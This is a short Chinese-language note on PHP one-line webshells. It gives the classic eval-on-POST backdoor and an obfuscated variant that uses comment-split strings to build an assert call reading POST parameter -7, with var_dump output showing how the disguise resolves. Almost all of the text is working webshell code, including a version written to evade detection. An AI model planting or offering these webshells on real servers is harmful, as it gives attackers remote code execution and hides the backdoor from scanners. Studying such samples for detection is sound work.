一句话木马

经典一句话

<?php @eval($_POST['shell']);?>

其他变种

<?php

@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';        
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';                  
$a = @$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);

使用var_dump()，打印出来关键信息：

var_dump($_);    # string(6) "assert"
var_dump(/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/);    int(-7)

最终一句话木马为：

assert($_{POST}[-7])

continue...